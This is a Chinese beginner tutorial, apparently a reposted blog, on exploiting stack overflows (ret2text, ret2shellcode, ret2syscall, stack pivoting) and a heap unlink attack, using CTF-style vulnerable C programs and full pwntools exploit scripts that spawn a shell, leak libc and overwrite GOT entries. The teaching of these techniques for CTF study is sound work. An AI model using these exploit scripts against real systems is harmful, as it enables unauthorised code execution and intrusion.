一篇文章理解堆栈溢出

news2025/3/13 0:09:11

一篇文章理解堆栈溢出

  • 引言
  • 栈溢出
    • ret2text
      • 答案
    • ret2shellcode
      • 答案
    • ret2syscall
      • 答案
    • 栈迁移
      • 答案
  • 堆溢出 unlink - UAF
    • 堆结构
      • 小提示
    • 向前合并/向后合并
    • 堆溢出题
      • 答案

引言

让新手快速理解堆栈溢出,尽可能写的简单一些。

栈溢出

代码执行到进入函数之前都会记录返回地址SP中,保证代码在进入函数执行完成后能返回继续执行下面的代码,而栈溢出攻击原理就是想尽一切办法覆盖掉这个保存在SP中的返回地址,改变代码执行流程。
刚开始写博客的时候写过一篇如何在windows中利用ntdll的jmp esp实现栈溢出攻击,这次我们回顾一下。


此时栈中内容应该是这样

在进入需要call的函数后,如果我们从栈的低地址一直覆盖内容到高地址,就可以覆盖掉这个返回地址

ret2text

简单的看一道以前的ctf题,为了深入理解我们先自己编译一份存在漏洞的代码

#include <stdlib.h>
#include <stdio.h>
void shell(){//故意存在的后门
	system("/bin/sh");
}
void test(int a){//随便写的
	printf("exit!!!!!%d\n" , a);
}
void print_name(char* input) {//漏洞函数
	char buf[15];
	memcpy(buf,input,0x100);
	printf("Hello %s\n", buf);
}
int main(int argc, char** argv){
	char buf[0x100];
	puts("input your name plz");
	read(0,buf,0x100);
	print_name(buf);
	return 0;
}

// gcc -m32 -no-pie -g test.c -o test

编译后再ida中长这样

答案

from pwn import *

elf = ELF("./test")
# 这里是我调试器用的可以不写
context.terminal = ['qterminal','-e','sh','-c']
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# p = remote("LOCALHOST",28525)
p = elf.process()

print(p.recvline())
# print(elf.sym)

# 附加调试器
#gdb.attach(p, 'b print_name')

# 解题方式1:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为0x8049196(shell)
# p.sendline(b'a'*(0x17+0x4)+p32(0x8049196))

print(hex(elf.sym['system']))
# 解题方式2:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为system
# 在call之前会将eip下一条地址压入esp,所以我们是在覆盖这个,0x80491c1(test的地址),我们exit之后会不会进入到test
# 覆盖参数 "/bin/sh"(0x804a008)
p.sendline(b'a'*(0x17+0x4)+p32(elf.sym['system'])+p32(0x80491c1)+p32(0x804a008) + p32(0xde)) # 0xde(222)是exit参数
p.interactive()

解题方式二是为了理解栈溢出原理,所以我在其中套了多个函数地址和参数。

ret2shellcode

再来看一道经典题目,mmap内存映射的栈溢出

#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
int main(int argc, char** argv){
	char buff;
	char * mapBuf;
	mapBuf = (char*)mmap(0x233000, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	printf("map address:%x\n",mapBuf);
	read(0,mapBuf,0x100);
	puts("enter something");
	read(0,&buff,0x100);
	puts("good bye");
	return 0;
}

权限是可读写可执行,MAP_PRIVATE|MAP_ANONYMOUS 表示不映射一个具体的fd,而是系统内部创建的匿名文件,且不会被回写到文件。
其中我们给出了具体的映射地址,虽然mapBuf的内存地址并不属于这个栈,但是我们可以通过溢出buff让栈返回地址指向它,而它内存中实际的内容就是我们的shellcode.

答案

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()

#gdb.attach(p, 'b 13')
shellcode = asm(shellcraft.sh())
print(shellcode)
print(p.recvline())
p.sendline(shellcode)

print(p.recvline())
# 随便覆盖一个rbp
p.sendline(b'a'*(0x9+0x8)+p64(0x233000))
p.interactive()

我们首先将shellcode写入了mapBuf指向的内存地址(0x233000),然后覆盖掉了返回地址,将它改为0x233000,在退出这个函数时就会执行我们在0x233000中写入的shellcode了。

ret2syscall

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4;

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

这段代码非常简单,但是题中给的文件开启了NX 保护,也就是说栈中的代码不可执行,此时我们无法覆盖为shellcode,那么就只能让他跳转到程序中本来就存在的一些方法去,而程序中也并没有调用system

我们这次用到了ROPgadget工具,让他在程序中找一些指定的汇编指令。
还有cyclic可以帮忙测试栈溢出的大小

答案

思路是利用int 0x80中断进入系统调用execve
execve("/bin/sh",NULL,NULL)
eaxexecve系统调用号0xb,第一个参数ebx指向/bin/shecx和edx为0
而我们需要找到能修改寄存器的汇编代码,那么pop就是最好的选择。
push 是将参数压入sp,那么pop就是将sp的内容弹出指定寄存器

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./rop")
p = elf.process()
'''
ROPgadget --binary rop --only 'int'     
0x08049421 : int 0x80

ROPgadget --binary rop --only 'pop|ret'|grep eax
0x080bb196 : pop eax ; ret

ROPgadget --binary rop --only 'pop|ret'|grep ebx  这里还可以控制ecx所以直接再找edx的
0x0806eb91 : pop ecx ; pop ebx ; ret

ROPgadget --binary rop --only 'pop|ret'|grep edx
0x0806eb6a : pop edx ; ret

ROPgadget --binary rop --string '/bin/bash'
0x080be408 : /bin/sh
'''
int_0x80 = 0x08049421
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
sh = 0x080be408
# 112 cyclic测试得出
payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(0) + p32(sh) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)
p.sendline(payload)
p.interactive()

栈迁移

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 48u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

程序中可以发现在vul函数的read的第二处出现了栈溢出,但是我们发现溢出的大小实在是太小了,我们无法写入system后再加入参数,注意程序同样开启了NX保护,也就是栈中代码不可执行,这里需要了解一点点的GOT/PLT了,可以看我这篇文章:
PLT、GOT ELF重定位流程新手入门

原理是通过覆盖返回地址让它返回到s变量的内存地址(bss段),这样我们就有足够的地方写shellcode了

答案

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()
# 漏洞代码
#char s[40]; // [esp+0h] [ebp-28h] BYREF
#read(0, s, 0x30u); #0x30-0x28 = 0x8 不够我们写system后的参数,栈大小不够,我们需要将ESP移到BSS段,刚好我们的s本身就在bss段
#printf("Hello, %s\n", s);
#read(0, s, 0x30u);
print(p.recvline())

payload = b'a' * (0x27) # 因为使用sendline多了一个\n 所以这里写0x27
p.sendline(payload) # 因为我们填满了0x28 并且没有\0所以此时输出必定会将ebp输出出来
p.recvuntil("a\n")  
ori_ebp = u32(p.recv(4)) # 接收本来正常的ebp
print(hex(ori_ebp))

# s地址 偏移计算
# 原ebp 可以在push ebp 看一下ebp地址 是0xffffd4c8
# 然后在leave之前 看一下stack
# esp 0xffffd490 ◂— 'aaaaaa\n\n'
# 通过计算得到偏移是 0xffffd490 - 是0xffffd4c8 = -0x38

# 另外一种办法是,在push ebp 看一下ebp地址 是0xffffd4c8
# 在leave前看一下 ebp = 0xffffd4b8
# 是0xffffd4b8 - 0xffffd4c8 = -0x10,又由于我们在IDA中知道#char s[40]; // [esp+0h] [ebp-28h] BYREF
# -0x10 - 0x28 = - 0x38
bss_addr = ori_ebp - 0x38

# system addr 两种办法
# 一种通过.got.plt 
# 0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
# x 0x804a018 
# <system@got.plt>:     0x08048406
# 由于我们知道 此时system没有被执行过,这里保存的地址肯定是plt + 6

# 第二种 直接读取.plt
# .plt              PROGBITS        080483c0
# x/32x 0x080483c0
# 0x8048400 <system@plt>: 0xa01825ff      0x18680804      0xe9000000      0xffffffb0

# 第三种 直接用pwntools
system_addr = elf.plt['system']

leave_ret = 0x080484b8 # ROPgadget --binary test --only 'leave|ret'

# 迁移到BSS段,正好我们的s就是
# 先覆盖4字节,因为最后leave 相当于mov esp,ebp; pop ebp;使esp + 4,所以这里要先跳过0x4 随便填充4个字节
payload2 = b'A' * 0x4
# ret 要跳转到的eip
payload2 += p32(system_addr) 
# system后的返回地址 随便写吧
payload2 += b'A' * 0x4
# 参数字符串地址,这个字符串是下面写的 所以要计算要跳过的大小
payload2 += p32(bss_addr + 0x4 + 0x4 + 0x4 + 0x4)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'A') # 填充满0x28个,不够用A补
# 将原来正常的ebp 改为 s 的地址 让其执行leave的时候把这个地址给esp
payload2 += p32(bss_addr)
# 填入leave;ret,ret的时候因为esp被我们修改的ebp覆盖了,所以回到了ebp + 0x4(也就是s+0x4等价于payload2 + 0x4)
payload2 += p32(leave_ret)

p.sendline(payload2)
p.interactive()

堆溢出 unlink - UAF

堆溢出原理在堆释放时,修改双向链表的过程,有空子可以钻,让其指针赋值时将我们需要的地址赋值过去,但是我们也仅仅是指修改了一个内存地址,而不是像栈溢出那样修改了它的执行流程。

堆结构

在这里插入图片描述
size记录的是整个chunk大小,而不是malloc时的大小。

小提示

因为malloc是按8字节对齐,所以实际上size的最后3位bit永远不可能不是1 (8 = 0b1000),所以用其中1位来做PREV_INUSE的标记位。

向前合并/向后合并

向前合并和向后合并,并不是说对于当前区块来说,合并到前一个或合并到后一个,而是正好相反。

向后合并是指如果前一个区块没有被使用,将自身指针指向前一个区块,并且将大小合并,向前合并则相反。

if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize)); 
  unlink(p, bck, fwd);
}   
#define unlink(P, BK, FD) {                      \
  FD = P->fd;                   \
  BK = P->bk;                   \
  FD->bk = BK;                  \
  BK->fd = FD;                  \
  ...
}

我们需要关注的点在于unlink,这个从双向链表移除自身的代码。下面的题目中unlink其实还有检查代码,就是判断FD->bk是否等于BK->fd。

堆溢出题

这是一个简单的堆溢出题,我将其中的函数都重命名了,在IDA中你能知道这些函数时做什么的


可以看见create_item申请的堆内存地址被保存到了一个全局变量s中,并且是从下标1开始使用的。

我们将变量和函数地址都先记录下来

edit_item = 0x4009e8

free_item = 0x400b07

puts_if_exists = 0x400ba9

create_item = 0x400936

bss_s = 0x602140


我们还知道了GLIBC的版本是2.2.5,但是我本机没有,可以用工具替换。

使用 patchelf 替换2.23,因为2.2.5在glibc-all-in-one没找到glibc-all-in-one可以在github下载到。

patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

答案

我们要做的其实就是修改掉s数组中存放的内容。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['qterminal','-e','sh','-c']
stkof = ELF("./stkof") # 题的原文件网上可以搜到
p = stkof.process()
libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
 
#edit_item = 0x4009e8
#free_item = 0x400b07
#puts_if_exists = 0x400ba9 # 没啥用
#create_item = 0x400936
bss_s = 0x602140 # 存着分配的堆地址,0下标无用,(&::s)[++dword_602100] = v2; 1号块就是1下标

def alloc(size):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil(b'OK\n')
 
 
def edit(idx, size, content):
    p.sendline(b'2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil(b'OK\n')
 
 
def free(idx):
    p.sendline(b'3')
    p.sendline(str(idx))
 
def puts_if_exists():
    p.sendline(b'4')
    print(p.recvline())
 
 
def exp():
    # gdb.attach(p, 'b *0x4009e8')# edit
    alloc(0x100)  # idx 1
 
    alloc(0x20)  # idx 2 # 32大小
    alloc(0x80)  # idx 3
 
    #在2中伪造chunk并且溢出修改3的chunk头
    #FD 下一块 ,BK 上一块,fd在结构偏移是第三个,bk在结构偏移是第四个
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    # 使(bss_s + 0x10 - 3*0x8)->bk(3*0x8) == (bss_s + 0x10 - 2*0x8)->fd(2*0x8) == (bss_s + 0x10),绕过check
    payload += p64(bss_s + 0x10 - 3*0x8)  #fd     #此时fd->bk =  (bss_s + 0x10 - 3*0x8)+(3*0x8)
    payload += p64(bss_s + 0x10 - 2*0x8)  #bk     #此时bk->fd =  (bss_s + 0x10 - 2*0x8)+(2*0x8)
    # 溢出部分
    payload += p64(0x20) # 下一个区块的 prev_size
    payload += p64(0x90) # 下一个区块 size 偶数,覆盖prev_inuse 为 0(0x90的大小是内存对齐后的结果)
    # 修改2号块,等会溢出3号块
    edit(2, len(payload), payload)
    
    
    
    # 准备 释放3 触发向后合并,触发unlink(此时unlink的P就是2号块)
    # FD = P->fd; #下一块
    # BK = P->bk; #上一块
    # FD->bk = BK;
    # BK->fd = FD; 
    
    # 根据计算类似下面这样,只是我们没有写临时变量,这样看会清楚点,代码虽然是错的
    # p->fd 被我们伪造成了(bss_s + 0x10 - 3*0x8)
    # p->bk 被我们伪造成了(bss_s + 0x10 - 2*0x8)
    
    # FD->bk = BK;  
    # 赋值相当于 (bss_s + 0x10 - 3*0x8)+(3*0x8) = bss_s + 0x10 - 2*0x8
    # BK->fd = FD;  
    # 赋值相当于 (bss_s + 0x10 - 2*0x8)+(2*0x8) = bss_s + 0x10 - 3*0x8
    # 最后修改其实就是
    # bss_s + 0x10 = bss_s + 0x10 - 3*0x8
    # bss_s + 0x10 = bss_s - 0x8
    # bss_s + 0x10 就是 bss_s[2]
    # 让 bss_s 存着的2号块地址变成 = bss_s - 0x8
    free(3)
    p.recvuntil('OK\n')
 
    
    #覆盖bss_s存着的2号块地址(bss_s - 0x8),跳过8字节使bss_s[0] = free@got, bss_s[1]=puts@got, bss_s[2]=atoi@got
    #此时存着的堆地址其实全部被我们改掉了,后面干的事和堆一点关系都没有了
    payload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload) #这里payload数据是写入了 bss_s 段

    # 由于此时 bss_s[0] = free@got.plt
    # 本来free@got.plt中存的是0x7f7e67a84540 <__GI___libc_free>:      0x8348535554415541
    # 我们此时修改0号块内容,实际上就是(&bss_s)[0] = puts@plt
    # 等于将__GI___libc_free改为了puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload) 
 
    #此时free已经被替换
    #free((&::s)[1]); = puts@plt((&::s)[1]);
    #此时相当于puts@plt(&bss_s[1]);
    #          puts@plt(puts@got);
    #我们就可以先拿到puts@got地址,用来计算glibc基址
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
 
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # 由于此时 bss_s[2] = atoi@got.plt
    # 修改2号块代码是(&bss_s)[2] = system
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    # 随便发一个触发main里的atoi,参数就是binsh_addr
    p.send(p64(binsh_addr))
    p.interactive()
 
 
if __name__ == "__main__":
    exp()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/413477.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

wsl区分和切换,安装NVIDIA驱动+cuda+ffmpeg

wsl区分和切换&#xff0c;安装NVIDIA驱动cudaffmpeg 安装Nvidia驱动 打开terminal wsl --update进入wsl nvidia-smi网上找了一些博客&#xff0c;获取信息&#xff1a; window安装好驱动即可wsl有1和2 我的win10已经安装了驱动 wsl1和wsl怎么区分&#xff1f;切换 区分…

实时聊天提示的最佳做法

本文将教您更多关于有效的实时聊天功能对您的品牌的重要性&#xff0c;以及您可以使用的一些最佳实践来确保您的实时聊天功能尽可能好。实时聊天提示是为您的网站访问者显示的自动聊天消息。在SaleSmartly&#xff08;ss客服&#xff09;中&#xff0c;如您将聊天插件安装到您的…

Win10 安装 MongoDB 5.0.16

一、MongoDB 的官方&#xff1a;http://www.mongodb.com/ 下载&#xff1a;​ ​https://www.mongodb.com/download-center/community​ 二、下载msi文件&#xff0c;双击该文件进行安装。 &#xff08;1&#xff09;打开对话框 ,单击“Next” &#xff08;2&#xff09;请勾…

总结815

4月&#xff08;复习完高数18讲内容&#xff0c;背诵21篇短文&#xff0c;熟词僻义300词基础词&#xff09; 4.8 英语&#xff1a;早上继续背昨天没背完的第15篇文章单词&#xff0c;感觉效率极高&#xff0c;可能是昨晚睡眠质量特别好。下午抄写第16篇文章每日一句长难句看《…

Meetup 直播预告|助力企业数字化转型,8 大微服务容器开源实践亮点抢先看

随着数字化、智能化发展趋势不断加快&#xff0c;大中小型企业纷纷将企业“上云”提上日程&#xff0c;推动企业数字化转型。云时代下&#xff0c;企业需要新技术架构&#xff0c;使之更好地利用云计算优势&#xff0c;让业务更敏捷、成本更低、可伸缩性更强&#xff0c;云原生…

进程概念详解

目录 进程是什么&#xff1f; 描述进程&#xff1a;进程控制块-PCB task_struct task_struct 是什么&#xff1f; task_struct内容分类 组织进程 查看进程 fork创建子进程 进程状态 僵尸进程 孤儿进程 进程优先级 其他概念 进程是什么&#xff1f; 一般书上…

【微信小程序】父子组件之间传值

微信小程序父子组件之间传值有两种&#xff1a; 1.父组件向子组件传值 2.子组件向父组件传值 区别&#xff1a; 父向子传值使用的是属性绑定&#xff0c;子组件中的properties对象进行接收父组件传递过来的值。子向父传值使用的是自定义事件&#xff0c;父组件通过自定义事件…

VUE 学习笔记(一)开发环境搭建

1、Visual Studio Code安装及使用 下载地址官网&#xff1a;https://code.visualstudio.com/ 直接点击下载按钮即可&#xff0c;会根据系统自动下载合适的版本&#xff0c;无需自行选择。 2、VSCode 上安装&#xff1a;JavaScript Debugger 目前 Debugger for Chrome 已经处…

基于html+css的盒子内容旋转

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

【目标检测论文阅读笔记】Reducing Label Noise in Anchor-Free Object Detection

&#xff08;Augmentation for small object detection&#xff09; Abstract 当前的 anchor-free无锚目标检测器 将空间上落在真值框预定义中心区域内的所有特征标记为正。这种方法会在训练过程中产生 标签噪声&#xff0c;因为这些 正标记的特征中的一些 可能位于背景或遮挡…

2023最新8个电脑必装软件,新电脑装完好用又高效

新买的笔记本电脑到手了&#xff0c;需要安装什么软件&#xff1f;不会真的有人这样问吧&#xff0c;万一真的有人不知道需要安装什么软件呢&#xff1f;好吧&#xff0c;提醒一下各位&#xff0c;新电脑不要乱安装软件啊&#xff0c;不然电脑很容易中病毒的。根据我多次换电脑…

MyBatis配置文件 —— 相关标签详解

目录 一、Mybatis配置文件 — properties标签 二、Mybatis配置文件 — settings标签 三、Mybatis配置文件 — plugins标签 四、Mybatis配置文件 — typeAliases标签 五、Mybatis配置文件 — environments标签 六、Mybatis配置文件 — mappers标签 一、Mybatis配置文件 —…

burp抓包https链接不安全解决方法

在浏览器已经导入Burpsuite的证书之后,抓包,浏览器仍然显示抓取https包提示不是私密链接解决方法 适用于没有继续访问的按钮。 方法一: 浏览器输入 chrome://flags 搜索 Allow invalid certificates for resources loaded from localhost.翻译过来就是 允许从本地主机加载资…

2023 年十大目标检测模型!

2023 年十大目标检测模型&#xff01; 使用深度学习革新对象检测的综合指南。 对象检测示例 “目标检测是计算机视觉中最令人兴奋和最具挑战性的问题之一&#xff0c;而深度学习已成为解决它的强大工具。” 对象检测是计算机视觉中的一项基本任务&#xff0c;涉及识别和定位…

SpringBoot与RabbitMQ 集成以及死信队列,TTL,延迟队列

简单示例 项目结构依赖配置生产者消费者 消息的可靠投递示例 confirmreturn 消费者确认机制消费端限流TTL 单条消息整个队列设置 TTL 死信队列 死信队列的实现步骤 延迟队列消息幂等设计 简单示例 项目结构 依赖 <dependencies><dependency><groupId>org.…

【Linux 裸机篇(一)】ARM Cortex-A 架构基础、汇编基础

目录一、ARM Cortex-A 架构基础1. Cortex-A 处理器运行模型2. Cortex-A 寄存器组2.1 通用寄存器2.1.1 未备份寄存器2.1.2 备份寄存器2.1.3 程序计数器 R152.2 程序状态寄存器二、ARM 汇编基础1. GNU 汇编语法1.1 语句1.2 段1.3 伪操作1.4 函数2. 常用汇编指令2.1 处理器内部数据…

你的订婚|结婚纪念日是质数吗?进来测算看看……

今年开年以来&#xff0c;随着ChatGPT的爆火&#xff0c;原本一直平静的三六零安全科技股份有限公司&#xff08;下称360&#xff09;股价仅2月以来涨幅就达到近200%。然而4月4日晚间&#xff0c;360发布公告称&#xff0c;公司董事长周鸿祎与妻子胡欢离婚。有意思的是&#xf…

【Java版oj】day25星际密码、数根

目录 一、洗牌 &#xff08;1&#xff09;原题再现 &#xff08;2&#xff09;问题分析 &#xff08;3&#xff09;完整代码 二、数根 &#xff08;1&#xff09;原题再现 &#xff08;2&#xff09;问题分析 &#xff08;3&#xff09;完整代码 一、洗牌 &#xff08;1&…

过度的焦虑 到底有多糟

你们知道过度的焦虑到底有多糟糕吗&#xff1f; 现在生活节奏越来越快&#xff0c;不管是生活、工作还是学习&#xff0c;很多方面都给我们带来了很多的压力问题&#xff0c;我们所承受的负担越来越重&#xff0c;很多人时常处于一种非常疲劳、过度的焦虑的状态。 你们知道过度…

什么是Node.js

文章目录什么是Node.js简介常用命令Node内置模块Node.js和JavaScript的区别什么是Node.js 简介 Node.js是一个基于Chrome V8引擎的JavaScript运行环境。它允许开发者使用JavaScript编写服务器端代码&#xff0c;而不仅仅是浏览器端的代码。Node.js的出现使得JavaScript可以在…